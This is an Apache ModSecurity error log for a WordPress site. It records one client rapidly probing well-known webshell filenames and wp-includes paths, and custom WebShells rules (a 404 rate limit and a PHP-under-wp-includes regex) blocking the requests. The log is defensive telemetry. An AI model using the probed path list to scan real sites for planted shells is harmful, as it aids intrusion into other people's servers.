[Fri Feb 27 08:12:08.423359 2026] [:error] [pid 42563:tid 42573] [client 51.12.82.80:12687] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bak.php"] [unique_id "aaDhWHKL5BclZy73IRH94QAAAcU"]
[Fri Feb 27 08:12:08.957878 2026] [:error] [pid 42658:tid 42672] [client 51.12.82.80:30685] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaDhWIzcoYl3nRbu1ja4GQAAAgw"]
[Fri Feb 27 08:12:09.481255 2026] [:error] [pid 3973:tid 3997] [client 51.12.82.80:16731] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaDhWYJZsftwqmUaaLMHKQAAAA4"]
[Fri Feb 27 08:12:10.005424 2026] [:error] [pid 3973:tid 3998] [client 51.12.82.80:24115] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaDhWoJZsftwqmUaaLMHKgAAAA8"]
[Fri Feb 27 08:12:10.537531 2026] [:error] [pid 42658:tid 42665] [client 51.12.82.80:8654] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaDhWozcoYl3nRbu1ja4HAAAAgU"]
[Fri Feb 27 08:12:11.063115 2026] [:error] [pid 3975:tid 4034] [client 51.12.82.80:8675] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaDhWxMVp0-T2hD76b3M4QAAAJY"]
[Fri Feb 27 08:12:11.601900 2026] [:error] [pid 21329:tid 21388] [client 51.12.82.80:16982] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaDhW5vQWnde-MjcQ1F8lQAAAUU"]
[Fri Feb 27 08:12:12.181980 2026] [:error] [pid 21329:tid 21396] [client 51.12.82.80:18515] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaDhXJvQWnde-MjcQ1F8lgAAAU0"]
[Fri Feb 27 08:12:12.710984 2026] [:error] [pid 42563:tid 42586] [client 51.12.82.80:6864] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaDhXHKL5BclZy73IRH96QAAAdA"]
[Fri Feb 27 08:12:13.290384 2026] [:error] [pid 5365:tid 5369] [client 51.12.82.80:2454] [client 51.12.82.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaDhXZYAa8J3tYxdG3yi7QAAAQI"]
[Fri Feb 27 08:12:13.867912 2026] [:error] [pid 5365:tid 5376] [client 51.12.82.80:12088] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDhXZYAa8J3tYxdG3yi8wAAAQk"]
[Fri Feb 27 08:12:14.473634 2026] [:error] [pid 5365:tid 5370] [client 51.12.82.80:16764] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDhXpYAa8J3tYxdG3yi-AAAAQM"]
[Fri Feb 27 08:12:15.021903 2026] [:error] [pid 42563:tid 42585] [client 51.12.82.80:25195] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDhX3KL5BclZy73IRH97AAAAc8"]
[Fri Feb 27 08:12:15.549085 2026] [:error] [pid 5365:tid 5372] [client 51.12.82.80:30705] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-monamon.php"] [unique_id "aaDhX5YAa8J3tYxdG3yi-wAAAQU"]
[Fri Feb 27 08:12:16.095403 2026] [:error] [pid 4081:tid 4102] [client 51.12.82.80:27563] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-monamon.php"] [unique_id "aaDhYA55mnr35z8h7t36cwAAANM"]
[Fri Feb 27 08:12:16.640907 2026] [:error] [pid 42658:tid 42677] [client 51.12.82.80:5665] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-monamon.php"] [unique_id "aaDhYIzcoYl3nRbu1ja4IQAAAhE"]
[Fri Feb 27 08:12:17.181063 2026] [:error] [pid 4081:tid 4103] [client 51.12.82.80:8678] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-monamon.php"] [unique_id "aaDhYQ55mnr35z8h7t36eAAAANQ"]
[Fri Feb 27 08:12:17.725290 2026] [:error] [pid 4081:tid 4095] [client 51.12.82.80:35753] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaDhYQ55mnr35z8h7t36eQAAAMw"]
[Fri Feb 27 08:12:18.281367 2026] [:error] [pid 4081:tid 4099] [client 51.12.82.80:12063] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaDhYg55mnr35z8h7t36ewAAANA"]
[Fri Feb 27 08:12:18.819955 2026] [:error] [pid 42435:tid 42463] [client 51.12.82.80:30664] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaDhYh5hHLnaukp_y9-yaAAAAZc"]
[Fri Feb 27 08:12:19.345343 2026] [:error] [pid 42435:tid 42460] [client 51.12.82.80:18998] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaDhYx5hHLnaukp_y9-yaQAAAZQ"]
[Fri Feb 27 08:12:19.892511 2026] [:error] [pid 5365:tid 5377] [client 51.12.82.80:12067] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaDhY5YAa8J3tYxdG3yjJwAAAQo"]
[Fri Feb 27 08:12:20.462150 2026] [:error] [pid 42658:tid 42671] [client 51.12.82.80:18997] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaDhZIzcoYl3nRbu1ja4JAAAAgs"]
[Fri Feb 27 08:12:21.032735 2026] [:error] [pid 42658:tid 42670] [client 51.12.82.80:5663] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaDhZYzcoYl3nRbu1ja4KQAAAgo"]
[Fri Feb 27 08:12:21.630923 2026] [:error] [pid 21329:tid 21390] [client 51.12.82.80:18960] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaDhZZvQWnde-MjcQ1F8ngAAAUc"]
[Fri Feb 27 08:12:22.169128 2026] [:error] [pid 3974:tid 4045] [client 51.12.82.80:35806] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaDhZnp-fQtdOYjkuFvvaQAAAEg"]
[Fri Feb 27 08:12:22.795985 2026] [:error] [pid 42658:tid 42674] [client 51.12.82.80:5662] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaDhZozcoYl3nRbu1ja4LQAAAg4"]
[Fri Feb 27 08:12:23.324441 2026] [:error] [pid 42563:tid 42579] [client 51.12.82.80:2392] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaDhZ3KL5BclZy73IRH98AAAAck"]
[Fri Feb 27 08:12:23.876050 2026] [:error] [pid 42435:tid 42452] [client 51.12.82.80:33449] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaDhZx5hHLnaukp_y9-ybAAAAYw"]
[Fri Feb 27 08:12:24.411771 2026] [:error] [pid 5365:tid 5385] [client 51.12.82.80:12080] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaDhaJYAa8J3tYxdG3yjRQAAARI"]
[Fri Feb 27 08:12:24.978963 2026] [:error] [pid 3975:tid 4027] [client 51.12.82.80:33421] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaDhaBMVp0-T2hD76b3M5QAAAJE"]
[Fri Feb 27 08:12:25.507476 2026] [:error] [pid 5365:tid 5379] [client 51.12.82.80:12075] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaDhaZYAa8J3tYxdG3yjSwAAAQw"]
[Fri Feb 27 08:12:26.042202 2026] [:error] [pid 42658:tid 42675] [client 51.12.82.80:33437] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aaDhaozcoYl3nRbu1ja4MQAAAg8"]
[Fri Feb 27 08:12:26.598660 2026] [:error] [pid 42435:tid 42464] [client 51.12.82.80:35804] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDhah5hHLnaukp_y9-ybQAAAZg"]
[Fri Feb 27 08:12:27.154680 2026] [:error] [pid 42658:tid 42664] [client 51.12.82.80:24119] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDha4zcoYl3nRbu1ja4MwAAAgQ"]
[Fri Feb 27 08:12:27.688242 2026] [:error] [pid 21329:tid 21402] [client 51.12.82.80:2393] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDha5vQWnde-MjcQ1F8oQAAAVM"]
[Fri Feb 27 08:12:28.270459 2026] [:error] [pid 21329:tid 21384] [client 51.12.82.80:26866] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDhbJvQWnde-MjcQ1F8ogAAAUE"]
[Fri Feb 27 08:12:28.795693 2026] [:error] [pid 21329:tid 21388] [client 51.12.82.80:24122] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aaDhbJvQWnde-MjcQ1F8pAAAAUU"]
[Fri Feb 27 08:12:29.461650 2026] [:error] [pid 42658:tid 42671] [client 51.12.82.80:16732] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aaDhbYzcoYl3nRbu1ja4NgAAAgs"]
[Fri Feb 27 08:12:29.995813 2026] [:error] [pid 3973:tid 3984] [client 51.12.82.80:9722] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aaDhbYJZsftwqmUaaLMHKwAAAAE"]
[Fri Feb 27 08:12:30.536512 2026] [:error] [pid 5365:tid 5370] [client 51.12.82.80:24104] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aaDhbpYAa8J3tYxdG3yjTwAAAQM"]
[Fri Feb 27 08:12:31.079533 2026] [:error] [pid 3974:tid 4058] [client 51.12.82.80:6872] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aaDhb3p-fQtdOYjkuFvvbwAAAFU"]
[Fri Feb 27 08:12:31.633051 2026] [:error] [pid 3973:tid 4007] [client 51.12.82.80:23011] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aaDhb4JZsftwqmUaaLMHLAAAABg"]
[Fri Feb 27 08:12:32.177464 2026] [:error] [pid 42563:tid 42577] [client 51.12.82.80:23009] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aaDhcHKL5BclZy73IRH99AAAAcg"]
[Fri Feb 27 08:12:32.726839 2026] [:error] [pid 4081:tid 4100] [client 51.12.82.80:23024] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aaDhcA55mnr35z8h7t36gQAAANE"]
[Fri Feb 27 08:12:33.314274 2026] [:error] [pid 42563:tid 42568] [client 51.12.82.80:12081] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaDhcXKL5BclZy73IRH99gAAAcA"]
[Fri Feb 27 08:12:33.884043 2026] [:error] [pid 42563:tid 42569] [client 51.12.82.80:18750] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaDhcXKL5BclZy73IRH9-AAAAcE"]
[Fri Feb 27 08:12:34.429571 2026] [:error] [pid 42563:tid 42572] [client 51.12.82.80:12085] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaDhcnKL5BclZy73IRH9-gAAAcQ"]
[Fri Feb 27 08:12:34.979689 2026] [:error] [pid 42658:tid 42673] [client 51.12.82.80:12047] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaDhcozcoYl3nRbu1ja4QwAAAg0"]
[Fri Feb 27 08:12:35.510284 2026] [:error] [pid 5365:tid 5384] [client 51.12.82.80:23040] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hi.php"] [unique_id "aaDhc5YAa8J3tYxdG3yjVgAAARE"]
[Fri Feb 27 08:12:36.066125 2026] [proxy_fcgi:error] [pid 5365:tid 5375] [client 51.12.82.80:16747] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:12:37.699847 2026] [:error] [pid 5365:tid 5387] [client 51.12.82.80:16747] [client 51.12.82.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaDhdZYAa8J3tYxdG3yjYgAAARQ"]
[Fri Feb 27 08:12:38.240991 2026] [proxy_fcgi:error] [pid 42435:tid 42454] [client 51.12.82.80:23054] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:12:39.626735 2026] [:error] [pid 42435:tid 42453] [client 51.12.82.80:23054] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaDhdx5hHLnaukp_y9-ydgAAAY0"]
[Fri Feb 27 08:12:40.187279 2026] [:error] [pid 42435:tid 42457] [client 51.12.82.80:30834] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaDheB5hHLnaukp_y9-yeAAAAZE"]
[Fri Feb 27 08:12:40.807045 2026] [:error] [pid 42435:tid 42448] [client 51.12.82.80:24096] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaDheB5hHLnaukp_y9-yegAAAYg"]
[Fri Feb 27 08:12:41.366615 2026] [:error] [pid 5365:tid 5389] [client 51.12.82.80:10290] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaDheZYAa8J3tYxdG3yjZQAAARY"]
